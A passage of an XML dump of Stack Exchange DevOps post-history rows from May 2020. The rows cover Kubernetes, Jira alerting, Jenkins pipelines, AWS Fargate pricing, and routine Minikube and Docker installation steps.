Minor:&quot;14&quot;, GitVersion:&quot;v1.14.3&quot;, GitCommit:&quot;5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-06-06T01:36:19Z&quot;, GoVersion:&quot;go1.12.5&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;helm list prometheus-operator --tiller-namespace=monitoring&#xD;&#xA;NAME                    REVISION        UPDATED                         STATUS          CHART                           APP VERSION     NAMESPACE&#xD;&#xA;prometheus-operator     3               Thu Apr  9 16:44:37 2020        DEPLOYED        prometheus-operator-8.12.12     0.37.0          monitoring&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35454" PostHistoryTypeId="4" PostId="11544" RevisionGUID="48973361-0585-449b-8262-3607da065fe5" CreationDate="2020-05-11T08:50:39.990" UserId="17329" Comment="added 146 characters in body; edited tags; edited title" Text="Disable creation of labels in Jira?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35455" PostHistoryTypeId="6" PostId="11544" RevisionGUID="48973361-0585-449b-8262-3607da065fe5" CreationDate="2020-05-11T08:50:39.990" UserId="17329" Comment="added 146 characters in body; edited tags; edited title" Text="&lt;prometheus&gt;&lt;jira&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35456" PostHistoryTypeId="2" PostId="11580" RevisionGUID="06fc62de-61ae-4f3b-b711-be1cdd482963" CreationDate="2020-05-11T09:05:06.653" UserId="17329" Text="Based on the github reply I received, it looks only way is to allow it in Jira as it will spam same alert otherwise:&#xD;&#xA;&#xD;&#xA;&gt; Labels are how JIRAlert matches alerts to tickets. Without them, it&#xD;&#xA;&gt; would simply create a new ticket every time it gets called by&#xD;&#xA;&gt; Alertmanager for the same alert, i.e. once every few minutes.&#xD;&#xA;&gt; &#xD;&#xA;&gt; If I understand the error correctly, it looks like you'll have to&#xD;&#xA;&gt; enable labels for your JIRA project. I don't have admin access to a&#xD;&#xA;&gt; JIRA instance, so I can't tell you exactly how to do that." ContentLicense="CC BY-SA 4.0" />
  <row Id="35457" PostHistoryTypeId="2" PostId="11581" RevisionGUID="01377a1f-3dce-4d9f-846c-66342b3cb94d" CreationDate="2020-05-11T09:33:34.667" UserId="22210" Text="I am researching using Kubernetes on baremetal for our application. There's an issue I can't find info about. If a worker node dies, how does Kubernetes determine which node(s) to redirect its workload to? What I'm mostly worried about is that if a node dies due to being overloaded with work, Kubernetes will redirect its workload and another node will die due to the workload increase, which leads to a domino effect of nodes dying. How does Kubernetes prevent this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="35458" PostHistoryTypeId="1" PostId="11581" RevisionGUID="01377a1f-3dce-4d9f-846c-66342b3cb94d" CreationDate="2020-05-11T09:33:34.667" UserId="22210" Text="How does Kubernetes determine which node to use?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35459" PostHistoryTypeId="3" PostId="11581" RevisionGUID="01377a1f-3dce-4d9f-846c-66342b3cb94d" CreationDate="2020-05-11T09:33:34.667" UserId="22210" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35460" PostHistoryTypeId="2" PostId="11582" RevisionGUID="47f5bd03-ace7-4f8a-91e4-d564b4e70d32" CreationDate="2020-05-11T09:35:48.620" UserId="19306" Text="Can't comment yet, but most extensions host their source code publicly. So you could read the source code to check if something is going on that you don't want. &#xD;&#xA;&#xD;&#xA;If the source code is not available, you could check the company for certain certifications like ISO 27001 or the like so you know they get audited. &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35461" PostHistoryTypeId="2" PostId="11583" RevisionGUID="6738c193-cca4-46aa-bc0d-c455f75006d5" CreationDate="2020-05-11T10:26:56.657" UserId="21503" Text="In order to avoid this kubernetes reserves resources on the nodes for its daemons. See full explanation and configuration guidelines [here](https://kubernetes.io/docs/tasks/administer-cluster/reserve-compute-resources/)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35465" PostHistoryTypeId="5" PostId="11578" RevisionGUID="3e8d2198-2bff-4cd5-a9b5-061df59817ee" CreationDate="2020-05-11T14:23:19.897" UserId="21993" Comment="added 177 characters in body" Text="For questions about Amazon Elastic File System (Amazon EFS), a simple, scalable, fully managed elastic NFS file system for use with AWS Cloud services and on-premises resources." ContentLicense="CC BY-SA 4.0" />
  <row Id="35466" PostHistoryTypeId="24" PostId="11578" RevisionGUID="3e8d2198-2bff-4cd5-a9b5-061df59817ee" CreationDate="2020-05-11T14:23:19.897" Comment="Proposed by 21993 approved by 40 edit id of 1202" ContentLicense="CC BY-SA 4.0" />
  <row Id="35467" PostHistoryTypeId="2" PostId="11585" RevisionGUID="3fa99cef-5069-4d00-bcf8-f0825eceaa0a" CreationDate="2020-05-11T16:41:40.280" UserId="4115" Text="The &quot;correct&quot; way to determine the names for Pipeline step parameters is to use the Pipeline Snippet generator in the web UI:&#xD;&#xA;&#xD;&#xA;https://www.jenkins.io/doc/book/pipeline/getting-started/#snippet-generator&#xD;&#xA;&#xD;&#xA;However, based on browsing the [source code](https://github.com/jenkinsci/gerrit-trigger-plugin/blob/b614e75a03b3d75afa63197b035031d905c36a4d/src/main/java/com/sonyericsson/hudson/plugins/gerrit/trigger/hudsontrigger/GerritTrigger.java), I am guessing the name of the parameter you are looking for is `dependencyJobsNames`." ContentLicense="CC BY-SA 4.0" />
  <row Id="35468" PostHistoryTypeId="2" PostId="11586" RevisionGUID="fbfe441f-e9e1-4d83-934a-f491caf112e2" CreationDate="2020-05-11T19:19:01.013" UserId="6162" Text="&gt;2) App repo's CI commits into Configuration repo with newly built image tags.&#xD;&#xA;&#xD;&#xA;Yes, this makes sense. Instead of using _image tags_ you can use _image digest_, since the digest is generated from content, it is immutable, while tags may be updated (intentionally or unintentionally).&#xD;&#xA;&#xD;&#xA;This manifest update can be done with multiple tools:&#xD;&#xA;&#xD;&#xA;Using [yq][1]&#xD;&#xA;&#xD;&#xA;    yq write --inplace  deployment.yaml 'spec.template.spec.containers(name==myappname).image' gcr.io/my-image-repository/myappname:labelOrDigest&#xD;&#xA;&#xD;&#xA;Or using a newer tool; [kpt][2] with the [ktp set][3] command.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/mikefarah/yq&#xD;&#xA;  [2]: https://googlecontainertools.github.io/kpt/&#xD;&#xA;  [3]: https://googlecontainertools.github.io/kpt/guides/consumer/set/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35469" PostHistoryTypeId="2" PostId="11587" RevisionGUID="2272aa15-909d-4499-b7fa-cedc21d07c67" CreationDate="2020-05-11T20:18:33.573" UserId="19963" Text="Versioning is generally a pain point in microservice management. I just wrote a Medium article how we are dogfooding our tool Reliza Hub to help with this problem - https://medium.com/@taleodor/building-kubernetes-cicd-pipeline-with-github-actions-argocd-and-reliza-hub-e7120b9be870&#xD;&#xA;&#xD;&#xA;In short, we have prepared templating engine there which automatically resolves versions based on metadata and approval matrix from Reliza Hub. It then populates k8s definitions for each instance with specific version just for that instance.&#xD;&#xA;&#xD;&#xA;If you do it another way, in my experience it usually tends to be manual. Because in most cases it is just to risky to always push latest to your production or even staging." ContentLicense="CC BY-SA 4.0" />
  <row Id="35470" PostHistoryTypeId="5" PostId="5085" RevisionGUID="3c5b380b-6fbb-4fe5-9f52-485ed3d5771a" CreationDate="2020-05-11T20:48:37.233" UserId="8800" Comment="added 266 characters in body" Text="**Update 12/05/2020:** Fargate prices have been **greatly reduced** over the last months and are now comparable with EC2 prices for the same CPU / RAM configurations. That makes Fargate a valid option for 24x7 workloads. &#xA;&#xA;----------&#xA;&#xA;*Originally written in 2018:*&#xA;&#xA;Fargate is more expensive than EC2 for the same vCPU/RAM amount.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;* [m5.large][1] (2 vCPU, 8 GB RAM) costs $0.096/hr which is ca $69.12/month&#xD;&#xA;* [Fargate container][2] with 2vCPU and 8 GB RAM costs $0.2028/hr or $146.02/month&#xD;&#xA;&#xD;&#xA;If you want to run your container 24x7 you'll be much better off running it on an EC2 instance.&#xD;&#xA;&#xD;&#xA;However if your containers only run briefly to complete a task and then exit, or if they scale up and down based on demand it will be much easier for you to run them in Fargate - you won't need to scale up and down the underlying EC2 cluster to support the load.&#xD;&#xA;&#xD;&#xA;With Fargate you pay premium for the flexibility. &#xD;&#xA;&#xD;&#xA;In many cases it works out better to run on Fargate even if it's more expensive - we spin up batches of hundreds of containers at a time a couple times per day for some processing and each container runs for only about 10 minutes. If we had to scale up the EC2/ECS cluster before each run, wait for it to settle, deal with the failures, then run our batch job and then scale down again the overhead would be quite high and our batch processing would take much longer. &#xD;&#xA;&#xD;&#xA;Here Fargate works great for us. I wouldn't use it for an always-on service though.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ec2/pricing/on-demand/&#xD;&#xA;  [2]: https://aws.amazon.com/fargate/pricing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35471" PostHistoryTypeId="5" PostId="5085" RevisionGUID="5b44d716-ee3a-47be-857d-194126ac5ea6" CreationDate="2020-05-11T21:09:49.310" UserId="8800" Comment="added 20 characters in body; added 4 characters in body" Text="**Update 12/05/2020:** Fargate prices have been **greatly reduced** over the last months and are now **comparable with EC2 prices** for the same CPU / RAM configurations. That makes Fargate a valid option for 24x7 workloads. &#xA;&#xA;----------&#xA;&#xA;*Originally written in 2018 - no longer correct!*&#xA;&#xA;Fargate is more expensive than EC2 for the same vCPU/RAM amount.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;* [m5.large][1] (2 vCPU, 8 GB RAM) costs $0.096/hr which is ca $69.12/month&#xD;&#xA;* [Fargate container][2] with 2vCPU and 8 GB RAM costs $0.2028/hr or $146.02/month&#xD;&#xA;&#xD;&#xA;If you want to run your container 24x7 you'll be much better off running it on an EC2 instance.&#xD;&#xA;&#xD;&#xA;However if your containers only run briefly to complete a task and then exit, or if they scale up and down based on demand it will be much easier for you to run them in Fargate - you won't need to scale up and down the underlying EC2 cluster to support the load.&#xD;&#xA;&#xD;&#xA;With Fargate you pay premium for the flexibility. &#xD;&#xA;&#xD;&#xA;In many cases it works out better to run on Fargate even if it's more expensive - we spin up batches of hundreds of containers at a time a couple times per day for some processing and each container runs for only about 10 minutes. If we had to scale up the EC2/ECS cluster before each run, wait for it to settle, deal with the failures, then run our batch job and then scale down again the overhead would be quite high and our batch processing would take much longer. &#xD;&#xA;&#xD;&#xA;Here Fargate works great for us. I wouldn't use it for an always-on service though.&#xD;&#xA;&#xD;&#xA;Hope that helps :)&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ec2/pricing/on-demand/&#xD;&#xA;  [2]: https://aws.amazon.com/fargate/pricing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35472" PostHistoryTypeId="2" PostId="11588" RevisionGUID="29cff4b7-6116-4f4c-82d0-1a4237ddd199" CreationDate="2020-05-12T00:45:09.780" UserId="22075" Text="Found out that there is no specific 'default' storageclass(SC) type for Docker EE or others, it depends on the requirement and specific to Kubernetes provider(s). I went ahead and created a sc with 'local' provisioner type." ContentLicense="CC BY-SA 4.0" />
  <row Id="35473" PostHistoryTypeId="2" PostId="11589" RevisionGUID="7dcef772-cdc6-4768-9341-3e430d02604a" CreationDate="2020-05-12T06:35:17.110" UserId="17276" Text="I found what i needed to allow or the eqivalent StringNotEquals to deny useing the tag&#xD;&#xA;aws:ResourceTag&#xD;&#xA;&#xD;&#xA;    &quot;Condition&quot;: {&#xD;&#xA;                    &quot;StringEquals&quot;: {&#xD;&#xA;                        &quot;aws:ResourceTag/Key_-1&quot;: &quot;Value_-1&quot;&#xD;&#xA;                    }&#xD;&#xA;                }" ContentLicense="CC BY-SA 4.0" />
  <row Id="35477" PostHistoryTypeId="5" PostId="4857" RevisionGUID="e38c5da4-474c-4cd3-8923-14970a9dc5ee" CreationDate="2020-05-12T15:25:15.713" UserId="9454" Comment="deleted 2 characters in body" Text="You can use `File Content Replacer` build feature with predefined templates for .NET Core&#xD;&#xA;&#xD;&#xA;https://www.jetbrains.com/help/teamcity/file-content-replacer.html#FileContentReplacer-.NetCorecsprojtemplates" ContentLicense="CC BY-SA 4.0" />
  <row Id="35481" PostHistoryTypeId="2" PostId="11592" RevisionGUID="9779490f-b558-4df9-83f6-f76e2562408e" CreationDate="2020-05-12T21:15:37.903" UserId="22121" Text="Here is the folder structure in my shared library repo:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ tree src vars&#xD;&#xA;src&#xD;&#xA;├── org&#xD;&#xA;    └── common.groovy&#xD;&#xA;&#xD;&#xA;vars&#xD;&#xA;├── testSrc.groovy&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;src has:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ cat src/org/common.groovy&#xD;&#xA;package org.common&#xD;&#xA;&#xD;&#xA;class CommonFuncs {&#xD;&#xA;    def sayHi() {&#xD;&#xA;        echo &quot;Hi from CommonFuncs!&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    def sayHello(str) {&#xD;&#xA;        echo &quot;Hello ${str}&quot;&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and vars:&#xD;&#xA;```&#xD;&#xA;$ cat vars/testSrc.groovy&#xD;&#xA;def call() {&#xD;&#xA;    def tst = new org.common.CommonFuncs()&#xD;&#xA;    return tst.sayHi()&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;pipeline script in Jenkins has:&#xD;&#xA;```&#xD;&#xA;@Library('jenkins-library') _&#xD;&#xA;pipeline {&#xD;&#xA;    agent { label 'my_servers' }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('test') {&#xD;&#xA;            steps {&#xD;&#xA;                testSrc()&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run job, I get below error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;org.jenkinsci.plugins.workflow.cps.CpsCompilationErrorsException: startup failed:&#xD;&#xA;/var/jenkins_home/jobs/Test/jobs/mave/jobs/test_src/builds/8/libs/jenkins-library/vars/testSrc.groovy: 2: unable to resolve class org.common.CommonFuncs &#xD;&#xA; @ line 2, column 15.&#xD;&#xA;       def tst = new org.common.CommonFuncs()&#xD;&#xA;                 ^&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What is wrong in here? I am new to groovy, and this is my first attempt to create a class in shared library src/, any help is appreciated." ContentLicense="CC BY-SA 4.0" />
  <row Id="35482" PostHistoryTypeId="1" PostId="11592" RevisionGUID="9779490f-b558-4df9-83f6-f76e2562408e" CreationDate="2020-05-12T21:15:37.903" UserId="22121" Text="Unable to use the class defined in src in vars of jenkins shared library" ContentLicense="CC BY-SA 4.0" />
  <row Id="35483" PostHistoryTypeId="3" PostId="11592" RevisionGUID="9779490f-b558-4df9-83f6-f76e2562408e" CreationDate="2020-05-12T21:15:37.903" UserId="22121" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35491" PostHistoryTypeId="2" PostId="11595" RevisionGUID="0f6c9360-5980-44ff-aefe-d39e27b50e50" CreationDate="2020-05-13T08:16:52.270" UserId="22253" Text="If your persistent volumes aren't creating, it'll cause this error. So add DISK to CPU/Mem/NodeSpec" ContentLicense="CC BY-SA 4.0" />
  <row Id="35492" PostHistoryTypeId="5" PostId="11595" RevisionGUID="94f8bf23-5072-45e6-8e6f-0b13ab5e4a25" CreationDate="2020-05-13T08:30:22.840" UserId="354" Comment="minor clarification." Text="If your persistent volumes aren't creating, it'll cause this error. So add DISK to CPU/Mem/NodeSpec requirements." ContentLicense="CC BY-SA 4.0" />
  <row Id="35493" PostHistoryTypeId="2" PostId="11596" RevisionGUID="bcc868e5-cf15-4ffd-a9bd-01583f177af9" CreationDate="2020-05-13T15:17:29.193" UserId="17329" Text="I am using the code below which works on Slack integration, without the definitions, but on Jira I get some restriction for newline chars, how can I solve this?&#xD;&#xA;```&#xD;&#xA;{{ define &quot;jira.summary&quot; }}&#xD;&#xA;    jira.summary: |-&#xD;&#xA;        [{{ .Status | toUpper }}{{ if eq .Status &quot;firing&quot; }}:{{ .Alerts.Firing | len }}{{ end }}] {{ .CommonLabels.alertname }} for {{ .CommonLabels.job }}&#xD;&#xA;        {{- if gt (len .CommonLabels) (len .GroupLabels) -}}&#xD;&#xA;        {{&quot; &quot;}}(&#xD;&#xA;        {{- with .CommonLabels.Remove .GroupLabels.Names }}&#xD;&#xA;            {{- range $index, $label := .SortedPairs -}}&#xD;&#xA;            {{ if $index }}, {{ end }}&#xD;&#xA;            {{- $label.Name }}=&quot;{{ $label.Value -}}&quot;&#xD;&#xA;            {{- end }}&#xD;&#xA;        {{- end -}}&#xD;&#xA;        )&#xD;&#xA;        {{- end }}&#xD;&#xA;{{- end -}}&#xD;&#xA;{{ define &quot;jira.description&quot; }}&#xD;&#xA;    jira.description: &gt;-&#xD;&#xA;        {{ with index .Alerts 0 -}}&#xD;&#xA;        :chart_with_upwards_trend: *&lt;{{ .GeneratorURL }}|Graph&gt;*&#xD;&#xA;        {{- if .Annotations.runbook }}   :notebook: *&lt;{{ .Annotations.runbook }}|Runbook&gt;*{{ end }}&#xD;&#xA;        {{ end }}&#xD;&#xA;&#xD;&#xA;        *Cluster:* `default`&#xD;&#xA;&#xD;&#xA;        *Alert details*:&#xD;&#xA;&#xD;&#xA;        {{ range .Alerts -}}&#xD;&#xA;        *Alert:* {{ .Annotations.title }}{{ if .Labels.severity }} - `{{ .Labels.severity }}`{{ end }}&#xD;&#xA;        *Description:* {{ .Annotations.message }}&#xD;&#xA;        *Details:*&#xD;&#xA;            {{ range .Labels.SortedPairs }}  *{{ .Name }}:* `{{ .Value }}`&#xD;&#xA;            {{ end }}&#xD;&#xA;        {{ end }}&#xD;&#xA;{{- end -}}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35494" PostHistoryTypeId="1" PostId="11596" RevisionGUID="bcc868e5-cf15-4ffd-a9bd-01583f177af9" CreationDate="2020-05-13T15:17:29.193" UserId="17329" Text="Jiralert Go template - remove newline chars from summary" ContentLicense="CC BY-SA 4.0" />
  <row Id="35495" PostHistoryTypeId="3" PostId="11596" RevisionGUID="bcc868e5-cf15-4ffd-a9bd-01583f177af9" CreationDate="2020-05-13T15:17:29.193" UserId="17329" Text="&lt;prometheus&gt;&lt;jira&gt;&lt;go&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35496" PostHistoryTypeId="5" PostId="11596" RevisionGUID="bd21b0df-e808-4f72-a609-915fe92deefd" CreationDate="2020-05-13T15:56:40.463" UserId="17329" Comment="deleted 17 characters in body" Text="I am using the code below which works on Slack integration, without the definitions, but on Jira I get some restriction for newline chars, how can I solve this?&#xD;&#xA;&#xD;&#xA;I get: ...&#xD;&#xA;\\\&quot;errors\\\&quot;:{\\\&quot;summary\\\&quot;:\\\&quot;The summary is invalid because it contains newline characters.\\\&quot;}}\&quot;&#xD;&#xA;```&#xD;&#xA;{{ define &quot;jira.summary&quot; }}&#xD;&#xA;    jira.summary: |-&#xD;&#xA;        *Summary test:*&#xD;&#xA;{{- end -}}&#xD;&#xA;{{ define &quot;jira.description&quot; }}&#xD;&#xA;    jira.description: &gt;-&#xD;&#xA;        {{ with index .Alerts 0 -}}&#xD;&#xA;        :chart_with_upwards_trend: *&lt;{{ .GeneratorURL }}|Graph&gt;*&#xD;&#xA;        {{- if .Annotations.runbook }}   :notebook: *&lt;{{ .Annotations.runbook }}|Runbook&gt;*{{ end }}&#xD;&#xA;        {{ end }}&#xD;&#xA;&#xD;&#xA;        *Cluster:* `default-ops`&#xD;&#xA;&#xD;&#xA;        *Alert details*:&#xD;&#xA;&#xD;&#xA;        {{ range .Alerts -}}&#xD;&#xA;        *Alert:* {{ .Annotations.title }}{{ if .Labels.severity }} - `{{ .Labels.severity }}`{{ end }}&#xD;&#xA;        *Description:* {{ .Annotations.message }}&#xD;&#xA;        *Details:*&#xD;&#xA;            {{ range .Labels.SortedPairs }}  *{{ .Name }}:* `{{ .Value }}`&#xD;&#xA;            {{ end }}&#xD;&#xA;        {{ end }}&#xD;&#xA;{{- end}}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35498" PostHistoryTypeId="2" PostId="11597" RevisionGUID="c8661936-0f32-49b7-af39-bad458874468" CreationDate="2020-05-13T18:06:09.797" UserId="22263" Text="This may also be a general pulse; but here lies the issue&#xD;&#xA;&#xD;&#xA;We use EKS, we have Jenkins, we have Ansible, we have Terraform, we have BitBucket; but none of these really form a pipeline and I'm stuck with answering; do we need more (FluxCD/AgroCD/drone.io) etc... or what we have is enough and it's simply about stringing these things together.&#xD;&#xA;&#xD;&#xA;Currently, Jenkins really just does mostly app deployment stuff of *business app* for our devs; but if I wanted to deploy like Fluentd to our clusters or pod security policies, it'll usually require me to manually deploy it.&#xD;&#xA;&#xD;&#xA;Really trying to think of a modern CICD approach with security as the forefront, most of our usescases is deploying stuff to kubernetes; but that is not all of our usecase (some scragglers like firewall automation)" ContentLicense="CC BY-SA 4.0" />
  <row Id="35499" PostHistoryTypeId="1" PostId="11597" RevisionGUID="c8661936-0f32-49b7-af39-bad458874468" CreationDate="2020-05-13T18:06:09.797" UserId="22263" Text="How do we move to a modern CICD approach" ContentLicense="CC BY-SA 4.0" />
  <row Id="35500" PostHistoryTypeId="3" PostId="11597" RevisionGUID="c8661936-0f32-49b7-af39-bad458874468" CreationDate="2020-05-13T18:06:09.797" UserId="22263" Text="&lt;jenkins&gt;&lt;kubernetes&gt;&lt;ansible&gt;&lt;terraform&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35501" PostHistoryTypeId="2" PostId="11598" RevisionGUID="1724a018-ead4-4446-ae04-55b5653953a8" CreationDate="2020-05-13T18:24:49.250" UserId="2494" Text="I want to customize the powerShell() method in jobDSL&#xD;&#xA;&#xD;&#xA;a .groovy file with some job dsl defined jobs&#xD;&#xA;```&#xD;&#xA;def betterPowerShell(def cmd) {&#xD;&#xA;    powerShell(&quot;$cmd; exit \$LastExitCode&quot;)&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Since I am out of the &#xD;&#xA;```&#xD;&#xA;job {&#xD;&#xA;  step {&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;context this is not working...&#xD;&#xA;&#xD;&#xA;Maybe I need something like...&#xD;&#xA;```&#xD;&#xA;def betterPowerShell(def cmd) {&#xD;&#xA;    javaposse.jobdsl.dsl.helpers.step.StepContext.powerShell(&quot;$cmd; exit \$LastExitCode&quot;)&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35502" PostHistoryTypeId="1" PostId="11598" RevisionGUID="1724a018-ead4-4446-ae04-55b5653953a8" CreationDate="2020-05-13T18:24:49.250" UserId="2494" Text="How to customize a Jenkins job dsl method" ContentLicense="CC BY-SA 4.0" />
  <row Id="35503" PostHistoryTypeId="3" PostId="11598" RevisionGUID="1724a018-ead4-4446-ae04-55b5653953a8" CreationDate="2020-05-13T18:24:49.250" UserId="2494" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35507" PostHistoryTypeId="2" PostId="11600" RevisionGUID="5c0f798d-1687-4f6d-987d-6d999b5c8931" CreationDate="2020-05-13T22:11:35.937" UserId="6282" Text="The following are the instructions for setting up and installing Minikube and its dependencies for use on Windows Pro or Enterprise with Docker Desktop and HyperV.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Install Kubectl**&#xD;&#xA;&#xD;&#xA;1. Create a new directory that you will move your kubectl binaries into. A good place would be `C:\bin`&#xD;&#xA;&#xD;&#xA;2. Download the latest `kubectl` executable from the link on the Kubernetes doc page:&#xD;&#xA;&#xD;&#xA;https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-windows&#xD;&#xA;&#xD;&#xA;3. Move this downloaded `.exe` file into the bin directory you created.&#xD;&#xA;&#xD;&#xA;4. Use Windows search to type “env” then select “Edit the system environment variables”&#xD;&#xA;&#xD;&#xA;5. In the System Properties dialog box, click “Environment Variables”.&#xD;&#xA;&#xD;&#xA;6. In System Variables click on the “Path” Variable and then click “Edit”&#xD;&#xA;&#xD;&#xA;7. Click “New” and then type `C:\bin`&#xD;&#xA;&#xD;&#xA;8. Drag the newly created path so that it is higher in order than Docker's binaries. This is very important and will ensure that you will not have an out of date `kubectl` client.&#xD;&#xA;&#xD;&#xA;9. Click &quot;OK&quot;&#xD;&#xA;&#xD;&#xA;10. Restart your terminal and test by typing `kubectl` into it. You should get the basic commands and help menu printed back to your screen. If this doesn't work try restarting your machine.&#xD;&#xA;&#xD;&#xA;11. Run `kubectl version` to verify that you are using the newest version and not the out of date v1.10 version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Install Minikube**&#xD;&#xA;&#xD;&#xA;1. Download the Windows installer here:&#xD;&#xA;&#xD;&#xA;https://github.com/kubernetes/minikube/releases/latest/download/minikube-installer.exe&#xD;&#xA;&#xD;&#xA;2. Double click the `.exe` file that was downloaded and run the installer. All default selections are appropriate.&#xD;&#xA;&#xD;&#xA;3. Open up your terminal and test the installation by typing `minikube`. You should get the basic commands and help menu printed back to your screen. If this doesn't work try restarting your machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Configure HyperV**&#xD;&#xA;&#xD;&#xA;1. In Windows Search type &quot;HyperV&quot; and select &quot;HyperV Manager&quot;&#xD;&#xA;&#xD;&#xA;2. In the right sidebar click &quot;Virtual Switch Manager&quot;&#xD;&#xA;&#xD;&#xA;3. Leave selected &quot;New Virtual network Switch&quot; and &quot;External&quot; and click &quot;Create Virtual Switch&quot;&#xD;&#xA;&#xD;&#xA;4. Name the switch &quot;Minikube Switch&quot; (or whatever you would like to name it)&#xD;&#xA;&#xD;&#xA;5. Click Apply and acknowledge the &quot;Pending changes&quot; dialog box by clicking &quot;yes&quot;&#xD;&#xA;&#xD;&#xA;6. Once the switch has been created, click &quot;Ok&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Starting Up Minikube**&#xD;&#xA;&#xD;&#xA;Since by default Minikube expects VirtualBox to be used, you need to tell it to use the hyperv driver instead, as well as the Virtual Switch created earlier.&#xD;&#xA;&#xD;&#xA;Start up a terminal as an Administrator. Then, in your terminal run:&#xD;&#xA;&#xD;&#xA;`minikube start --vm-driver hyperv --hyperv-virtual-switch &quot;Minikube Switch&quot;`&#xD;&#xA;&#xD;&#xA;**NOTE:** all minikube commands must be run in the context of an elevated Administrator." ContentLicense="CC BY-SA 4.0" />
  <row Id="35509" PostHistoryTypeId="2" PostId="11601" RevisionGUID="e54e89ed-544d-496f-b773-c92dbf68a8f6" CreationDate="2020-05-14T04:13:15.220" UserId="6282" Text="Yes you can run Docker on any Linux distro. These steps listed below are for Ubuntu Desktop 18 LTS. You can find the full official docs and steps for other Linux distributions here:&#xD;&#xA;&#xD;&#xA;Ubuntu: https://docs.docker.com/install/linux/docker-ce/ubuntu/&#xD;&#xA;&#xD;&#xA;Fedora: https://docs.docker.com/install/linux/docker-ce/fedora/&#xD;&#xA;&#xD;&#xA;CentOS: https://docs.docker.com/install/linux/docker-ce/centos/&#xD;&#xA;&#xD;&#xA;Debian: https://docs.docker.com/install/linux/docker-ce/debian/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Installing Docker**&#xD;&#xA;&#xD;&#xA;The Docker docs suggest setting up a Docker repository to install and update from.&#xD;&#xA;&#xD;&#xA;This is where you should start:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/install/linux/docker-ce/ubuntu/#set-up-the-repository&#xD;&#xA;&#xD;&#xA;After completing the installation steps, test out Docker:&#xD;&#xA;&#xD;&#xA;`sudo docker run hello-world`&#xD;&#xA;&#xD;&#xA;This should download and run the test container printing &quot;hello world&quot; to your console.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Installing Docker Compose**&#xD;&#xA;&#xD;&#xA;Unlike the Mac and Windows Docker Desktop versions, we must manually install Docker Compose. See the instructions for the installation steps (Click on the tab for Linux)&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/compose/install/#install-compose&#xD;&#xA;&#xD;&#xA;After completing, test your installation:&#xD;&#xA;&#xD;&#xA;`docker-compose -v`&#xD;&#xA;&#xD;&#xA;This should print the version and build numbers to your console.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Run without Sudo**&#xD;&#xA;&#xD;&#xA;Follow these instructions to run Docker commands without sudo:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/install/linux/linux-postinstall/#manage-docker-as-a-non-root-user&#xD;&#xA;&#xD;&#xA;The docker group will likely already be created, but you still need to add your user to this group.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Start on Boot**&#xD;&#xA;&#xD;&#xA;Follow these instructions so that Docker and its services start automatically on boot:&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/install/linux/linux-postinstall/#configure-docker-to-start-on-boot&#xD;&#xA;&#xD;&#xA;You may need to restart your system" ContentLicense="CC BY-SA 4.0" />
